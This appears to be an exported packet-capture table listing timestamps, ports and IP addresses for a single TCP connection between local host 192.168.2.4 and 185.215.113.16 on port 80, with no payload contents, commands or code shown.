Sep 1, 2024 02:48:04.673310995 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.673316956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.673333883 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.673350096 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.673382998 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.673393011 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.673401117 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.673412085 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.673420906 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.673440933 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.673444033 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.673454046 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.673480988 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.673512936 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.674175978 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.674225092 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.674253941 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.674263000 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.674283028 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.674292088 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.674297094 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.674303055 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.674314022 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.674319029 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.674341917 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.674364090 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.675290108 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.675299883 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.675312996 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.675331116 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.675333977 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.675342083 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.675353050 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.675354958 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.675378084 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.675400019 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733006954 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733067989 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733071089 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733076096 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733086109 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733175039 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733186960 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733196974 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733206987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733231068 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733253956 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733297110 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733308077 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733319044 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733338118 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733352900 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733354092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733365059 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733375072 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733383894 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733392000 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733414888 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733429909 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733441114 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733450890 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733469963 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733493090 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733578920 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733588934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733599901 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733611107 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733622074 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733624935 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733644009 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733664036 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733817101 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733865023 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733865023 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.733875036 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733880043 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.733916998 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734225035 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734234095 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734244108 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734272003 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734286070 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734328032 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734344959 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734355927 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734365940 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734369040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734379053 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734385014 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734395981 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734400988 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734422922 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734443903 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734462023 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734472036 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734482050 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734493971 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734503031 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734508038 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734512091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734522104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734525919 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734538078 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734560013 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734579086 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734589100 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734610081 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734618902 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734626055 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734651089 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734680891 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734692097 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734705925 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.734724045 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.734745979 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758501053 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758516073 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758521080 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758583069 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758589029 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758594036 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758599043 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758605957 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758615971 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758661985 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758663893 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758676052 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758686066 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758697033 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758706093 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758801937 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758811951 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758821964 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758831978 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758842945 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758852959 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758855104 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758855104 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758855104 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758855104 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758855104 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758863926 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758874893 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758881092 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758903027 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758907080 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758914948 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758939028 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.758950949 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758960962 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758970976 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.758991957 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759011984 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759202003 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759212971 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759223938 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759233952 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759247065 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759270906 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759274006 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759285927 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759296894 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759305954 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759309053 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759320021 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759330034 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759334087 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759357929 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759375095 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759381056 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759392977 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759402990 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759413004 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759418964 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759423971 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759433031 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759434938 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759444952 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759460926 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759478092 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759529114 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759538889 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759550095 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759560108 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759576082 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759593964 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759653091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759665012 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759675026 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759685040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759701967 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759716988 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759721041 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759728909 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759738922 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759751081 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759751081 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759778976 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759799004 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759800911 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759840012 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759880066 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759898901 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759911060 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759921074 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759926081 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759932995 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.759943962 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.759973049 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.760005951 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760051012 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.760065079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760076046 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760086060 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760108948 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.760128021 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.760843039 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760854006 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760864019 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760878086 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760889053 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.760890961 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760905981 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.760934114 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.760961056 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760972023 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.760981083 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.761003971 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.761017084 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.761940002 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.761950016 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.761960030 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.761990070 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.762006998 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.762012959 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.762017965 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.762027979 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.762039900 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.762044907 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.762061119 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.762077093 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.819714069 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.819724083 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.819732904 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.819763899 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.819778919 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.819787025 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.819788933 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.819797993 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.819808006 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.819813967 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.819830894 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.819842100 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.819981098 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.819991112 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820002079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820023060 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820038080 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820059061 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820069075 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820079088 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820089102 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820092916 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820132971 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820230007 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820240974 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820250988 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820286989 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820297003 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820313931 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820323944 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820333004 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820343018 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820349932 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820353985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820362091 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820379019 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820400000 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820825100 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820869923 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820893049 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820903063 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820911884 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820921898 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820933104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820939064 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820941925 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820952892 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.820964098 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.820976019 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.821002960 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.821177006 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.821192980 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.821202040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.821209908 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.821218967 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.821219921 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.821232080 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.821233034 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.821244001 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.821250916 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.821259022 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.821278095 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.821293116 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845124960 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845139027 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845149040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845160007 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845175982 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845184088 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845186949 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845196962 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845202923 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845228910 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845280886 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845292091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845303059 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845313072 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845326900 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845329046 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845335960 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845344067 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845345974 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845367908 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845376968 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845452070 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845462084 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845472097 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845483065 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845491886 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845496893 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845520973 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845530033 CEST	80	49731	185.215.113.16	192.168.2.4
